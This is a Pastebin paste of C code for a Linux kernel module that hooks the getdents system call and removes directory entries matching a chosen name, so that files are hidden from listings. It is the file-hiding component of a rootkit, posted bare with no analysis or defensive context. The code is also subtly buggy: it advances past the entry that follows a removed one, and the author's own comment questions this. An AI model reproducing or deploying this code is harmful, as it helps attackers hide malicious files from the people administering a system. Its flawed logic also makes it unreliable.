dipto181

Untitled

Apr 3rd, 2020
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. asmlinkage int ( *orig_getdents )(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);
  2.  
  3. asmlinkage int sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
  4.  
  5. struct linux_dirent *retn, *dirp3;
  6. int Records, RemainingBytes, length;
  7. Records = (*orig_getdents)(fd, dirent, count);
  8. if (Records <= 0){
  9. return Records;
  10. }
  11.  
  12. // allocating retn (with the size of Record), in kernel memory
  13. retn = (struct linux_dirent *) kmalloc(Records, GFP_KERNEL);
  14.  
  15. if (retn<=0){
  16. return Records;
  17. }
  18.  
  19. //Copy struct from userspace to our memspace in kernel space
  20. copy_from_user(retn, dirent, Records);
  21. dirp3 = retn;
  22. RemainingBytes = Records;
  23. while(RemainingBytes > 0){
  24. length = dirp3->d_reclen;
  25. RemainingBytes -= dirp3->d_reclen;
  26. printk(KERN_INFO "RemainingBytes %d \t File: %s " , RemainingBytes , dirp3->d_name );
  27.  
  28. if(strcmp( (dirp3->d_name) , hide ) == 0){
  29. memcpy(dirp3, (char*)dirp3+dirp3->d_reclen, RemainingBytes);
  30. Records -= length; // dirp3->d_reclen; // leads to mistake?
  31. }
  32. dirp3 = (struct linux_dirent *) ((char *)dirp3 + dirp3->d_reclen);
  33. }
  34.  
  35. // Copy the record back to the origional struct
  36. copy_to_user(dirent, retn, Records);
  37. kfree(retn);
  38.  
  39.  
  40. return Records;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment